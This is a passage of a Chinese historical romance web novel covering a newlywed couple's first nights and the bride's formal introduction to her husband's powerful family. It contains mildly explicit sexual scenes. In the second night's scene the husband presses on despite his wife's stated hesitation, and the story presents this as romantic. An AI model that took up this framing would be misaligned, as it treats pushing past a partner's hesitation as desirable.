季含漪想着外头有婆子在,看着亦穿着寝衣的沈肆,不敢乱说话,便点点头。
沈肆低笑了下,上了床榻,将厚厚的床帐放了下来,床帐内顿时一昏。
被子动了动,季含漪明显感觉到自己身边的不远处就躺着沈肆,她脑中还是懵的,有一日她居然和沈肆共寝在一张榻上。
她正乱想,一只大手伸过来,直接揽住她的腰肢往床榻中间移,接着沈肆温热的身体就靠了过来,低低沙哑的声音在昏暗的帐内响起:“睡那么远做什么?”
季含漪的身上僵着,掌心下意识抵在沈肆的胸膛上,一时不知晓该怎么说话。
可沈肆却忽然低头,热气铺在她颈侧耳边,沙哑道:“新婚夜我们就这么安安静静的过去?”
季含漪先是懵了一下,接着她便明白沈肆的意思了。
好似**静了的确不太行。
她有些紧张的小声问:“那宫里来的婆子还没走么?”
沈肆的手在季含漪的腰后轻抚,又低低道:“她虽在门外,但也能听到屋内的动静的。”
“那婆子是宫里这几日送来给你教规矩的,应该是皇上的人。”
沈肆这点没骗季含漪,那婆子的确是宫里的人,不过是皇后送来的。
一共来了六个人,他遣走了五个,留下这一个,的确是有哄季含漪的意思的。
季含漪果真是被沈肆的话哄住了,又紧张的小声问:“那……那怎么办?”
季含漪不是闺阁女子,也知道那动静是什么。
只是她定然是做不出来那样的事情的。
沈肆低低看着怀里的人,那柔软的呼吸的落在他怀里,他也能很清晰的感受到她的紧张。
沈肆知道季含漪还没准备好,两人才刚成婚,她对自己还未有喜欢也很寻常,他循循善诱就是。
宽大温热的手掌轻轻拍着季含漪的后背,沈肆慢慢靠近季含漪,沙哑低沉的声音落在季含漪的耳边,哑声道:“不需要出什么大动静,阿漪只需要轻哼几声就行。”
“叫人知晓我们过了洞房夜就行。”
季含漪不是未经人事的女子,一瞬就明白了沈肆的意思。
可是平白无故,不说她羞耻于开口,便是她能开口,她也不知晓该怎么哼。
那种声音还能想哼就哼出来么。
季含漪手足无措,想说她不会,但又怕觉得沈肆觉得她没说实话,只好硬着头皮道:“那我试试么?”
沈肆在暗色中倒是挑了眉,这般羞涩的人,能做到这般,当真是难为她了。
他更将人抱在怀里,低头吻在季含漪的耳垂上,感受到怀里的身子微微的发软轻颤,他哑声道:“含漪,舒服么?能喊出来么?"
季含漪只觉得这一刻羞耻的让她全身都冒了汗,她不知舒不舒服,耳垂处没有人吻过那里,唯有沈肆。
那是一股酥麻的感觉,季含漪很想抗拒,但身体的本能却让她抗拒不了。
她推在沈肆的胸膛上,声音已经绵软沙哑:“不要咬那里……”
说着头往另一边偏过去,却被沈肆吻住了另一边的耳垂。
一股酥麻涌上来,她没忍住轻吟了声。
沈肆听着那声音也倒吸口气,缓了许久才又吻到季含漪的颈脖上,用沙哑的不像话的声音低低道:“含漪,别抑着自己,就是这样。”
季含漪此刻脑中已经什么都来不及想了,陌生的声音一声一声从自己口中出来,她连控制都不能控制。
这一夜季含漪最后是如何睡下的,她全然都不知晓,只知晓最后一幕是自己在沈肆的手指下溃然坍塌如泄洪。
早上季含漪醒来的时候,自己整个身子都被圈在了沈肆的怀里,她看着头顶的床帐出神,又想起自己昨夜的羞窘来,此刻恨不得这会儿能找一个地洞钻进去。
外头还没有人叫,但季含漪心里头已经开始提着了,今日定然要见沈家的人,不能贪睡。
感受到沈肆环在她腰间的手,不由想着也是这只手居然能够……
能够……
不是说沈肆房里连通房都没有的么,那他怎么会那些……
那样的事情,还是季含漪第一回体会……
原来还可以用手……
季含漪觉得自己身上越想越热,赶忙打住自己的胡思乱想,又轻轻的伸手,想要将沈肆放在自己腰肩上的手移开。
只是季含漪的动作即便已经很轻了,但睡在她身后的沈肆还是被她的动作弄醒了。
沙哑带着股慵懒的声音从身后响起:“醒了?”<
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br>季含漪的身子就是一僵,嗯了一声。
沈肆幽深的目光放在季含漪那白嫩的后颈窝上,鼻尖靠近过去,将人更紧的搂进怀里问:“昨夜睡的好么?”
沈肆说这话,季含漪的脸颊顿时烧的通红,胡乱的应着。
沈肆低头闭着眼睛,深吸一口季含漪身上的幽香,又沙哑道:“我没想到你会这么喜欢。”
季含漪脑中一下子空了,她赶紧摇头否认:“我没喜欢……”
明明就是昨夜沈肆说她的声音还是太拘谨了,外头的婆子听不到,明明是他说的他会什么按摩的手法。
她原以为他会按什么穴位,却没想到他是这个意思……
可否认的话却好似没有什么让人信服的气势,季含漪一下把脸埋在锦被中,一个字也不想说,更不敢看沈肆的脸。
沈肆瞧着人又捂着,也不忍再说。
他也没想到季含漪的身子会这么敏感,即便隔着亵裤,她好似也敏感的厉害。
他不过照着册子临时学的怎样让女子欢愉,没想到在她身上当真应验。
想着那倒是本好书,他应该再仔细研读,至少书上的内容能挑起季含漪的兴致,她也不会抗拒自己了。
至少她也乐在其中,而不是他一个人的动情。
他将人从被子里捞出来,看着人羞涩的脸庞,那水眸中还漾这水光,当真是羞涩不行。
这番模样,看起来娇嫩可口。
沈肆又忽想起,季含漪也不过才十九,到今年八月才正二十,比自己小了四岁,何尝不就是个小姑娘。
他看着人:“再睡一会儿也无妨。”
沈肆的确想季含漪还睡会儿,他还没抱够人,即便昨夜并没有如愿以偿,好歹人踏踏实实的睡在自己怀里,很听话的被自己抱着的。
季含漪心里念着规矩,知晓沈家的人是不怎么待见她的,若是去晚了,恐怕又生了不好的印象。
她如实与沈肆说了自己的想法,她也是为了自己往后在沈府安稳些,又道:“今日是我第一日进门,按着规矩来,也好似不该贪睡。”
沈肆淡淡挑眉:“怕人给你脸色?”
季含漪一愣,又摇头,小声道:“就是不想让自己给婆母留一下一个不好的印象。”
第201章 你无需看谁的脸色
季含漪的话落下,沈肆眼神动了动。
又笑了下。
季含漪看沈肆笑,又不明白他的心思了。
她给沈肆说的话也是她的真心话。
她更知晓后宅要是安宁,男子在前院才能放心朝堂。
季含漪很想让自己做的足够好,也很想让沈肆觉得他没有选错人。
他庇护自己,自己也不是全无用处的。
沈肆垂眸低低看着季含漪的眉眼,柔软又柔美的眼睛,脸上的心事很浅。
他抿紧唇,无声的叹息,修长的指尖落到季含漪的脸颊上,冷清沉静的眼眸深如潭水。
他静静看了人一会儿,又淡淡道:“无妨,你无需看谁的脸色。”
沈肆的声音低且淡,不笑的眉眼里透着股矜贵严肃,叫季含漪看着这样的眉眼,也不敢再说要起的话了,全都听沈肆的,又乖顺的点点头。
但面前沈肆那敞开的胸膛……
季含漪简直不敢多看,直接将脸往被子里埋。
沈肆见着人忽然又如鹌鹑一样低头将脸往被子里钻,皱眉捏着季含漪的下巴问:“脸是见不得光?”
季含漪被沈肆好似训斥的语气一说,愣了愣,又看沈肆一张慵懒的冰山脸,就哑哑说了个字:“没……”
沈肆挑眉,松了手,早上这会儿本还想与怀里的人温存,却看季含漪俨然一副要做好贤妇的架势,眼神懒洋洋又亮晶晶的。
这时候外间婆子在外小声的提醒时辰,沈肆又凉了凉眼眸。
那婆子要不是为了留下让季含漪听话的,不然早送走了,也轮不着她来这儿提醒。
他这院子里的丫头婆子,可没这个胆子。
怀里不安的动了动,一低头,果见季含漪有些不安的往她看来:“是那宫里的婆子?怕是该起了。”
但话一说完,又见着沈肆那凉凉眼神,要起身的动作又顿住,又不敢开口了。
即便沈肆大抵不是故意吓人,但他吓人时他自己确实全然不知道的。
生了一张俊美却凉薄的面容,又常常严肃着,从前年少时,谁见着沈肆都得远远避开三尺,不敢往前面凑上去讨冷眼。
别家院子总有丫头爬床和丫头小厮的风流韵事,独独沈肆这院子,不说那心思,就连被指派来这儿的丫头都愁眉苦脸的,伺候了个冷面挑剔又规矩多的主。
沈肆见着季含漪动作,低头将人又用力的抱紧在怀里,又往人脖子上亲了亲。
昨夜本是要好好亲热的,奈何人太敏感,泄了便困倦,亲她的时候迷迷糊糊也不怎么配合,这会儿在她脖子上咬了咬,感受着怀中身子的微颤,瞧着那吻出来的红印,体内的燥热才压了压。
身下还紧绷着,又抱着人缓了好一会儿才起了身,让丫头进来伺候。
沈肆先去沐浴,季含漪被四五个丫头伺候着起身。
沈肆的松涛居,丫头个个训练有素又手脚麻利,还不言语,身上竟然也染了沈肆身上的那股冷沉气,像是没有人情味和喜乐似的,就只做着手头上的事,面上也是木然的。
季含漪第一回瞧着这样的丫头也有些不适应,但又想和沈肆那性子,便又觉得不奇怪了。
容春从前还是麻利的,这会儿在这些丫头面前,竟然觉得手脚无措,自己插不上去的错觉,只觉得自己不如别人勤快。
季含漪刚起来,脑中还迷迷糊糊的迷瞪着,再反应来了的时候,面前一应梳洗皆摆在了面前,站了五六个丫头在面前,一人端着痰盂和茶来叫季含漪晨起时净口,那茶中加了青盐,薄荷和丁香,接着马上又送来温度正好的铜盆净手,然后再送上润了的蚕丝棉巾来,一切有条不紊,丫头一个一个退下去,又有新的丫头上来穿鞋,又送了衣裳来让季含漪选哪一身。
季含漪从前在闺中的时候,院子里的丫头几乎是打成了一片,说说笑笑,慢悠悠的便梳洗了,哪里像是在这儿,就如个木头人被人推着一步步做完该做的事情。
她随意指了个,丫头就忙活起来。
季含漪稍稍反应过来的时候,就已经坐在了妆台前的绣墩上,身上一应穿戴都已经穿戴得好好的了,脚下还跪了个丫头,正往她腰间佩戴玉坠。
屋子里始终静悄悄的,就连季含漪都不好意思开口。
旁边还有个婆子,手上捧着好几个香膏恭声问季含漪喜欢哪
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一种。
那婆子手上的小盒个个精美,有桂花油,茉莉花油,兰泽香膏,旱莲草膏,有的连季含漪都不知晓,那婆子还说都是宫里用的东西,最最上好的,是沈肆特意为她准备的。
季含漪就又随手指了个,那婆子便让丫头将其他的拿下去,又为季含漪那柔软的长发仔细的涂抹,手法娴熟,将那本就光泽的发丝又显得更光泽起来。
且季含漪也觉得很舒畅,暗想着沈府的婆子丫头原来也不一般。
只是她往镜中看去的时候,却瞧见了自己脖子领口上的那道红痕,又想起刚才早上沈肆往那咬的又痒又疼的感觉来。
她忍不住去提了提领子,却只遮了一半,又叫容春来给她那里上妆粉,也只遮了隐隐约约,便又放弃了。
想着沈肆特意在那弄出个印子,莫不是特意叫人看的?证明她们圆房了?
只是这样的事情公之于众,到底有些难为情。
这时候旁边又过来一个婆子来给季含漪问安,那婆子一身穿戴与气度看起来不一样,又听她张口说是皇后娘娘身边的人,季含漪便明白了,客客气气称呼了一声陈嬷嬷。
沈肆沐浴出来的时候,见着季含漪正梳妆,穿了一身银灰宝珠纹的苏绣圆领织金锦,从她身后看去,细腰纤纤,窄肩薄腰,袅袅如那旁边养的娇气的水仙花。
又见着个婆子手上捧着匣子,季含漪垂眸好似认真挑选的模样,便抬步走了过去。
季含漪正纠结,主要那匣子里的首饰太多,她也没想怎么就这么多呢,挑花了眼,想着今日要见婆母和长辈,也不能随意,便好生的选。
正选了几样素净精巧的,就觉身边来了个人影,再一回神,沈肆从将她选的那只**花簪拿在了手里,又弯腰为季含漪插入秀发中。
季含漪怔怔看着镜中的沈肆,一袭墨蓝的圆领衣,眉间依旧带着疏冷,可他弯腰给自己簪簪子的模样,看着矜贵又温和,身上的冷气都少了许多。
旁边丫头在沈肆过来后更是个个都噤了声,站去了一边。
沈肆插好簪子,又将手随意的搭在季含漪的肩膀上问:“好了么?”
第202章 见宗亲
沈肆的声音低沉,虽说不大,也透出股惯有的严肃来。
季含漪便忙点头:“好了。”
沈肆又低头往季含漪那领口看去,那里半遮的红印暧昧,又看人低眉的羞涩,扯了扯唇。
两人一前一后的一起出去,沈肆看了一眼跟随在侧的陈嬷嬷,稍稍厌烦的皱皱眉,又收回了眼神。
文安瞧见主子的眼神,知晓主子为什么不高兴,今早那婆子叫人的时候他也是拦着的,可那婆子仗着是皇后娘娘身边的人,说是来侯夫人身边正规矩的,有些架子,也没拦得住。
少不得侯爷还怪在自己身上,又是唉声叹气。
出院门口的时候,门口婆子说老夫人来催了两次,沈肆依旧眉眼淡淡不置可否,季含漪心里头却稍稍微提。
路上季含漪落后沈肆半步的走,低眉顺目的,面上虽然瞧着从容雅致,心里头却一直在想着待会儿见了沈家长辈应该如何应付。
她想得出神,额头撞上了沈肆后背才愣愣的抬头。
沈肆低头看人,瞧人眼眸懵懂,因那一撞发上步摇和耳边耳坠乱晃,如花枝乱颤的娇气,当真是瞧不够的。
又想着夜里抱在怀里软软的身子,又深吸口气,抿抿唇不说话,却是伸手将她的手包裹在手心,牵着她往前走,直往正堂去。
正堂内早就候满了人,沈肆大伯那一家也早早的全来了,不为别的,就为了看沈肆新娶的妻子。
她们倒是从沈老夫人这儿打听来了是季含漪,却还是要一早来看,就想看看到底是什么样的人物,看看一个和离妇是怎么进的沈府的门的。
哪里想早早一来,等了半上午。
正堂内早议论起来了,低低窃窃私语,却没人敢在明面上说一句这位新妇的一句不是。
顶多也是向左右打听打听季含漪什么性情。
毕竟沈肆在虽说年轻,但辈分不低,季含漪嫁给沈肆,那辈分也是不低的。
那声音也不敢大了,老太爷还在正上头坐着,谁又敢胡说什么,只在心里想新妇到底少许张狂了些。
不由又去看上头沈老夫人的脸色。
沈老夫人脸色看不出什么来,但心里怎么想,那可就说不定了。
这时又听到外头一声通传,众人的目光都情不自禁的纷纷往门口看去。
只见着沈肆牵着人进来,似感情极好的模样,走到了正堂中间。
所有人的目光只往季含漪身上看过去。
便见着一身低调的银灰色,芙蓉扣,粉色长安竹大花边,又过来的姿态娉婷,莲步缓缓,一动一静皆是好一派漂亮。
又看那张秋水芙蓉的面容,雪肤上一弯柳叶眉,蛾眉皓齿,唇红齿白,身上有股月斜人静的雅,又有股雨后繁花的柔。
总之那股感觉形容不出来,就觉得旖旎妩媚过了些,但也不是那么素淡。
又见着季含漪跟随着沈肆的脚步上前去与老夫人和老首辅问安,那纤腰微折,裙摆微动,都有股大家闺秀的书香气来。
又见着季含漪去敬茶,站在老夫人面前,双手举过头顶,姿态恭谦,看起来还算很有规矩。
众人看着这一幕,又去看沈老夫人的神色,有的对视,有的视线意味深长。
这位从谢家出来的和离妇,如今的沈家新妇,到底多了些探究。
沈老夫人看向季含漪,脸上不露声色,在众人都看来的视线里,还是咬着牙露出一点笑意,接过了茶盏,又说几句教导和夫妻和睦的话,再亲手为季含漪脖子上戴上了祖传的半个手掌大的祖母绿项链,算是满意这个儿媳。
她这是咬碎牙往肚子里咽,即便不满意当着这么多人的面,还必须得给季含漪体面的。
季含漪恭恭敬敬的谢过沈老夫人,再去给老首辅敬茶时,老首辅则笑眯眯的接过了季含漪的茶。
他早就觉得自己儿子对这丫头不一般,当年他尽力的撮合,使劲将这丫头往自己儿子身边推,可惜自己儿子自小就带着清高和傲气,还不知晓心动的人于一生而言有多重要。
好在兜兜转转绕了一圈,还是修成了正果,老首辅心里是异常欣慰的。
什么和离不和离的,人一生里的任何际遇,都是缘分,都是因果。
他生来洒脱,当年没有救下季含漪的父亲,也存了遗憾
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怜惜,如今见着季含漪入了沈府,也是高兴。
他更知晓自己儿子的性情,自小骨子里就是凉薄清高的,不上眼的多瞧一眼都不会,凉薄的人很难接近,或许一辈子都没人能够入心,他身为父亲,其实是担心的。
担心自己儿子一辈子跟个冷石头一样,没有人去捂热他。
那人活这一遭,便只为活着么?
所以他当年察觉小小一团的季含漪去拉自己儿子袖子时没有被嫌弃的推开后,便埋下了心思,往后总叫那丫头来。
这会儿又瞧着自己儿子站在季含漪身边,脸上虽然还是一样的冷眼,但那目光所及,不全在那丫头一人身上么。
他脸上的笑意更深,笑呵呵的接过了茶盏,又对着季含漪含笑温和道:“早些生个大胖孙来,等他大些,我带他与我一起游历,让他看世间他没看过的的许多事。”
季含漪看着老首辅脸上的笑意,屋子里这么多目光都看在她身上,但只有老首辅的目光叫她知晓是真的真心。
依旧如小时候见到的那般亲切,有些感动的轻轻应下来。
敬茶这一趟过去,白氏笑着过来引着季含漪去认人。
季含漪小时候虽常来沈府,但见的人也只有当时老首辅这一房的人,就当时四老爷那屋的人都没怎么见过,其实好些只是有个模糊的印象,但却不认得。
白氏脸上的笑意灿烂,显得尤其的热情,热络的与季含漪嘘寒问暖,让她不必拘谨,往后都成了一家人。
季含漪也应着,跟随着白氏的步伐一一驻足问候,又说几句客气闲话,这一屋子的人,都一一说完,恐怕要到中午去。
屋内都是白氏高兴招呼的声音和季含漪细细温语的说话声,还有凑过去家常客套的,还有三三两两说话的,还算热闹。
沈肆站坐在了一边,他在沈府辈分高,又身居高位,自然而然的坐在了老首辅下首的最前头,底下孙辈都是站在一边。
沈肆目光看着季含漪,见着她那镇定自若下轻轻捏在裙摆上的手指,无声笑了笑。
跟小时候一样,端着架势,其实性子软的很。
第203章 见沈肆如见救星
季含漪这头正与正堂上的人言笑晏晏,时不时有人来牵着她的手细看,又低低问她两句话。
最多的便是四五岁的小姑娘和小少爷了,好奇的围着季含漪看。
白氏笑着赶了几回也没有赶走,季含漪也脾气好,抱着个小家伙逗了几声。
待走至沈长龄面前时,站在他旁边的小辈都纷纷叫季含漪五婶,唯有沈长龄愣在原地,呆呆的看着季含漪不说话。
白氏怕沈长龄这不着调的性子在长辈面前失仪,笑着推了推沈长龄:“怎不说话?见着五婶高兴坏了?”
季含漪面对沈长龄也不知该怎么称呼,那声侄子定然是叫不出来的,学着沈肆直呼沈长龄的名字,这会儿也还不适应。
她见着沈长龄出神,便含笑道:“许是还没反应得来。”
沈长龄眼眶里觉得涩涩的,喉咙里发疼,就是张不了口喊出那一声婶婶。
这些日他被困在军营里,想告假去见季含漪不行,又派他负责监督漕运粮草,听过五叔大婚,才能回来捧场五叔的喜宴。
他听兄长说五叔娶了季含漪,他本是不信的,今日早早的来就为了亲眼看一眼。
可现在见着了,他却觉得像是浑身都被石头砸了一遍。
对面一道冷淡的目光看过来,沈长龄怔怔对上五叔的视线,冷的吓人,又被母亲推在肩膀上,他才如梦初醒,只低着头不看季含漪,只恭敬的喊道:“婶婶。”
只是那声音低的很,低的几乎都听不见。
白氏见着沈长龄不对,有心想问问他到底怎么了,可这会儿屋内一应要她应付,只能先搁下不理,又引着季含漪去另一处。
她今日只想尽量万事做的尽善尽美,如今这沈府上下她打理了这么多年,季含漪这忽然一来,她心底也有些危机感的。
退到角落里的沈长龄失魂落魄站了站,又忽一转头走了出去。
季含漪是发现了沈长龄走了的,她刚好也离得不远,早瞧见沈长龄神色不对,走路的步子踉跄,恍恍惚惚的像是要晕了。
她怕沈长龄出事,跟着沈长龄出去,结果沈长龄一溜烟不见了,只好又回来。
结果才跨进门槛,就忽然心有灵犀的对上沈肆的视线,那既严肃又淡淡的一眼,叫季含漪心里跳了下,又被白氏来拉着,便就不管了。
这一趟见完,已经是快中午。
中间皇后娘娘也回了一趟,带着太子和二皇子一起,皇后和皇子的身份不一般,即便是一家人,众人也得往前门去迎,又要跪拜。
季含漪跟着众人一起,前前后后一应繁琐的礼仪完毕,又去正堂说话,季含漪被人东拉西扯的套近乎说话,几乎没有好好坐着的时候。
下午两位皇子和沈肆去了老首辅书房,季含漪又被皇后叫去身边,和沈府几位夫人坐在一起,说的是如何让夫妻和睦,家族兴旺,女子言行的话。
那话里话外季含漪也听得明白,是在敲打给她立规矩。
季含漪都乖乖巧巧的微微低着头,做出全都听进去的模样,至少做出让众人满意的样子,皇后才些许满意了,一直到了天快黑了,才终于放过了季含漪。
只是皇后娘娘要走,众人又要去送,又是一趟繁琐的程序。
夜里上宴时,沈老夫人要季含漪坐在身边,白氏坐在另一边,白氏在桌上八面玲珑,引得热闹,又伺候的沈老夫人高兴,倒显得不怎么说话的季含漪有些笨拙了。
季含漪确实也学不来白氏那样的性子,也更学不来她那忙活了一天还容光焕发,半点不累的样子。
她性子其实是有点内敛的,也羡慕白氏的精明能干。
这一桌又都是各院的大夫人,独独她是最年轻的那个,伺候沈老夫人没白氏得力,她们说的那些话她也实在插不进去话,索性便偷偷发懒,默默吃菜,总归她也饿极了。
只是她是新妇,隔一会儿便被会被提一句,再敬两杯酒,即便吃也是没吃好的。
宴散后,还有一番应酬,主要太年轻,辈分又高,不管往哪边都不怎么说的上话,就坐在沈老夫人的身边,又被沈老夫人睨了一眼,淡淡说了句:“嫁了进来,就要学着应酬
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,这些莫不是还不会?”
季含漪又是乖巧的应下,虽说疲,也与几位堂嫂说话。
她们说后辈的前程,说孙儿的趣事,又说后宅打理与妾室管教,季含漪也时不时的应两句。
又说到子嗣上头,个个更是有兴致,纷纷让季含漪早些怀。
季含漪应着,只是中途她出去透口气的时候,却听着一位堂嫂和另一位堂嫂小声说话,说她在谢家的事,又幸灾乐祸压低声音说了句,她在谢家三年没怀上,怕是身子不行,也不知五弟怎么想的。
声音其实低的听不见,但季含漪还是听着了,又想着刚才她们叫自己赶紧怀孩子那意味深长的眼神时,又觉得点隐隐的不舒服。
又叫自己不去想,家里张短,关上门背着人说的话,总之都是这些,也没什么好计较的,又坐了回去,但兴致却没了。
她正有些恹恹的,席面上饮了两盏甜酒的缘故,身上又淡淡热热的,疲倦的很。
又见着外头进来个人,一进来屋里女眷便都安静了,径自来了季含漪身边来。
季含漪见着沈肆来了,犹觉得见了救星那般。
又见沈肆身上还带着夜色里的凉,眉眼也冷清清的,却拉着她的手直接去与沈老夫人告退。
季含漪本还想着守着礼数一一告辞,却被沈肆牵着往外走,竟也没来得及。
旁边丫头打着灯笼,刚开始沈肆走的有些快,季含漪迈着小碎步才能赶上沈肆,但渐渐沈肆走的有些慢了,季含漪才慢慢缓了步子。
路上沈肆没说话,瞧着一身冷淡的人,季含漪也习惯了,就盼着夜里宫里来的那个婆子能别守在外间就好。
回去后,沈肆叫季含漪先去沐浴,冷冷淡淡的语气,季含漪没敢看沈肆神色,应着被丫头伺候着去沐浴。
沐浴出来季含漪看那陈嬷嬷跟在她身边,像是非得要看她一言一行的,便说道:“嬷嬷今夜早些休息吧。”
哪想那陈嬷嬷却笑道:“老奴是娘娘特意叫来跟在夫人身边的,若是夫人有什么不懂的,也尽可以问老奴。”
第204章 确实不好伺候
季含漪默默看了一眼陈嬷嬷,这话里的意思她听明白了,皇后娘娘派她来身边时时看她言行,说不定还会将她言行送信去宫里。
她也不能非要将人赶走,只能先忍下来。
又往屋里看了一圈,没见着沈肆的身影,便问了旁边婆子一句,听说沈肆在书房,季含漪还稍稍纠结了下,要不要去书房嘘寒问暖。
总不能她不等沈肆就先睡了。
正犹豫的时候,那婆子又道:“侯爷说了待会儿就过来,让夫人先睡。”
季含漪安了心,身上累的晕乎乎的,又去坐在妆台前让丫头给她卸发,擦香露。
其实沈肆没在屋子里,季含漪整个人还轻松不少,就是屋内的丫头个个都**了沈肆身上的那股严肃的**气,一声不吭,叫季含漪初来乍到也有点拘着。
就连容春那般喜欢说话的,也没好意思开口。
等全都收拾完了,坐在床榻上的时候,下人都退出去在帘子外,沈肆又没在,主仆两人才能悄悄说些话。
容春小声道:“这院子里的丫头怎么都跟石头人似的,奴婢今日还想与屋内的大丫头套近乎说说话,打听打听院子里有什么八卦事,可她们嘴严的厉害,奴婢说十句话,就只换来几个字。”
季含漪这会儿吃了口加了玫瑰露的香茶,满口生香,茶又暖呼呼的,身上暖起来便放松了,也没如今日一整日那般端着,肩膀松了,腰背也软了,歪歪靠在旁边的孔雀牡丹的大靠枕上。
她听了容春那小声的话,也小声道:“这里应该规矩很多,你别瞎打听,更别多嘴多舌。”
容春委屈的撇嘴:“奴婢这一天憋坏了,没一个说话的人,也不知她们平日里是怎么忍得住的。”
又偷偷在季含漪耳边开口:“这一看就知道是沈候院子里的丫头,难怪听说旁的丫头都不愿往这里来呢,说不好伺候又容易犯错。”
季含漪不由的想起沈肆那张冷淡又严肃的脸来,想着哪个愿意来,连她都怕。
便笑了声:“若我是丫头,反正我也是不愿来的。”
“确实不好伺候。”
说完这话,主仆两人对视笑起来,细细笑声穿过床前的座屏,直传到站在屏风后面的沈肆耳中。
沈肆负着手,正紧抿着唇,冷清的眉眼动了动,再抬步往里头走。
进去的那一瞬,笑声戛然而止,容春见着沈肆也是被吓了一大跳,赶紧退到屏风后去。
季含漪也被乍然出现的沈肆吓住了,赶紧从大靠枕上坐起来,又心里想着,刚才明明吩咐了帘子外的丫头,若是沈肆回了要来传话的,看样子她们只听沈肆的话,不听她的话了。
又想也对,自己才来两日,再有自己与沈肆之间,她们定然更听沈肆的。
想着想着刚才和容春的悄悄话,沈肆有没有听见。
正想时,面前阴影落下,下巴被凉的手指抬起,季含漪只见着昏暗光线里,沈肆弯腰低低看来的眸子。
那眼眸又凉又沉,看得季含漪心里直发紧。
沈肆瞧着季含漪穿着月白单衣,素面妩妩的模样,整个人都如雪一样白。
又看那长发披泄下来,乌黑的发丝落在领口处,她白净的颈间若隐若现。
这会儿的人看起来乖巧极了,正襟危坐,手上还捧着茶盏,乌黑的杏眸往她看来,身上柔软的香气叫他呼吸一紧。
他沙哑的问:“刚才在笑什么?”
季含漪自然不敢说在笑屋里丫头怕沈肆的样子,眸子不敢看沈肆,就随口扯了个幌子:“就是觉得茶好喝。”
沈肆低低瞧着季含漪这撒谎的模样挑眉。
背后说他不好的话的时候,倒是能笑几声,不过没好计较她的,自己在她心里,不就是这样?
指腹在季含漪光滑的下巴上摩挲,沈肆看着季含漪低眉的模样,喉间滚了滚,又道:“该睡了。”
季含漪一听这话身上就发紧,却得要镇定自若的点头。
沈肆又看了看季含漪那些微紧张的神色,松了手。
季含漪依旧低着头没敢往沈肆身上看,就上了榻,依旧往角落里缩。
她想着昨夜的新婚夜已经应付过去了,今日应该不用再应付了吧。
又想到昨夜的事情,脸颊又开始发烫,背过身去,不想对面着沈肆。
沈肆瞧着背过去的人,坐在床沿边上看了看,又慢条斯理的上了榻,放下床帐,手微微一伸,就将人给捞进了怀里按着。
季含漪不敢动,面前是沈肆那松
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松的领口,他皮肤上带着些滚烫的热气正往她脸颊上扑。
又感受到沈肆放在自己腰后的手一直在摩挲,时轻时重,偶尔还会探进她的衣摆里,指尖落到她腰上的皮肤上,然后又轻轻离开,像是在故意逗弄她。
季含漪腰侧那块最怕被碰,沈肆一碰,身上便要轻颤下。
沈肆始终都没说话,季含漪忐忑着,恍惚着,难道今日还要让外头那陈嬷嬷听么?
又听头顶忽然传来沈肆低沉的声音:“今日你追着长龄出去说了什么?”
季含漪没想到沈肆这会儿会问她这个,她知晓沈肆上午瞧见了,只是没想到他会问。
季含漪老老实实的回了。
她是有点担心沈长龄,其实沈长龄在她心里的印象是很好的。
他的眼神清冽,很干净,说话亦是没有弯绕,与他呆在一块便很放松。
沈肆不轻不重的嗯了一声,手指慢慢伸进了季含漪衣裳里,还在往上。
季含漪身上立马就一僵,下意识的就伸手捏在沈肆的袖口上。
沈肆的动作顿住,低头看向季含漪问:“昨夜不舒服么?”
季含漪的脸颊上立马滚烫,结结巴巴的开口:“我们……我们……”
“我们不是为了躲避赐婚么?”
沈肆墨黑的眉眼低垂,看着季含漪的面容:“我能给你欢愉不就好了。”
季含漪哑然,她脑中空白,不知道该怎么反驳沈肆的话,可她们两人的关系好似做这样的事情,有些不对……
沈肆知道季含漪在想什么,他低头慢慢凑近她,抬起季含漪的下巴让她看着自己:“我们是夫妻,往后会一起过一辈子,会日日同床共枕。”
“往后我们还会有子嗣,这是人之常情的事情。”
季含漪瞪大眼睛看向沈肆:“子嗣……”
她和沈肆的子嗣……
沈肆之前也说过的。
可她当真没有想过这件事,当初答应沈肆的时候也全然没有想过还会要子嗣……
她张口:“可你当初没说…我没想到的……”
沈肆却已经将身体往季含漪的身上压了过去,他不给她思索的机会,低头吻上她的唇瓣,手指熟练的如昨夜那般,往她最敏感的地方落去。
第205章 暖帐
窗外的月上树梢,树形沙沙,被风吹的起伏。
烛火被拢在绡纱罩里,像一颗被含住的、温驯的星。影子
在屏风上重叠,化作一幅新裱的泼墨:山势起伏,云气横生。
青丝垂落时带起细微的风,惊动了博山炉里将熄未熄的香篆,烟缕忽然改了轨迹,朝东南方向逸去,那是钦天监说过的,喜神今夜所在的方位。
羊脂玉佩碰着了脚踏,发出极清脆的一记“叮”——惊醒了蜷在帘钩上的月,月光便从菱花格窗的第七个格子淌进来,正好漫过脚踝
【熏香慢了,鎏金博山炉吐出的烟柱凝在半空,成为时间的刻度。
烟柱的颤动——烟雾惊惶地散开、重组,像被惊扰的鹤群,而她是鹤群中坠落的那只,羽毛沾满他掌心滚烫的潮意。
紫檀木的雕花,牡丹缠枝的纹路硌着掌心,是这浮沉间唯一的涟漪。
并蒂莲的彩绘在游动,织金帐幔的流苏化作雨帘轮廓忽远忽近,像月下远山的剪影。】
直到烛火微暗时,沈肆起身掀开床帐,用帕子擦了擦湿了的手,再看向怀里软成一滩春水的人。
白净的脸庞上纠结了几缕秀发,眉眼含水,饱满的唇瓣被他吻得又艳又红,这会儿在灯下泛着水光。
那原本规规整整的领子,此刻也松松散散的露出里头那玉色肌肤来,里头那粉色牡丹纹的小衣若隐若现,很是撩人。
灯影乱晃,无论怎么瞧,都是一副让人血脉偾张的美人图卷。
沈肆虽说还没达到目的,但也很喜欢看季含漪这幅模样,白净俏生生的小脸上,纤长浓密的睫毛还颤颤的,显然还未从余韵中回过神来。
他笑了笑。
看见她满足,他竟然也觉得满足了。
又抱着软绵绵的人去浴房,又让丫头去重新铺床榻。
屋内的大丫头进去,瞧见那床榻上的凌乱,单子上一大团痕迹,丫头们有的不懂,面面相觑,也不敢乱猜测,忙也去换了。
季含漪早已不知今夕何夕了,就连与沈肆一同沐浴,她都没反应过来,整个身子都软绵绵的倒在沈肆的怀里。
今日她应付了一日,现在已经累的只想要沉睡。
沐浴完,沈肆抱着季含漪去了榻上,人安安静静的在他怀里沉沉的睡去,唯有他还满腔火气没有发泄,只能蹭着季含漪那软软的身子自己解决。
不过他心里很有把握,不过三五日,季含漪便顶不住了。
这会儿温香软玉,闻着季含漪身上那股暖香气,沈肆又深吸一口气,心里头也是满足的,又往季含漪的额头上吻了吻。
当真是叫人爱不释手的人。
第二日晨起的时候,季含漪还懒着,睡的迷迷糊糊,紧紧圈在沈肆的腰上,脸颊往沈肆怀里蹭,显然还睡的沉。
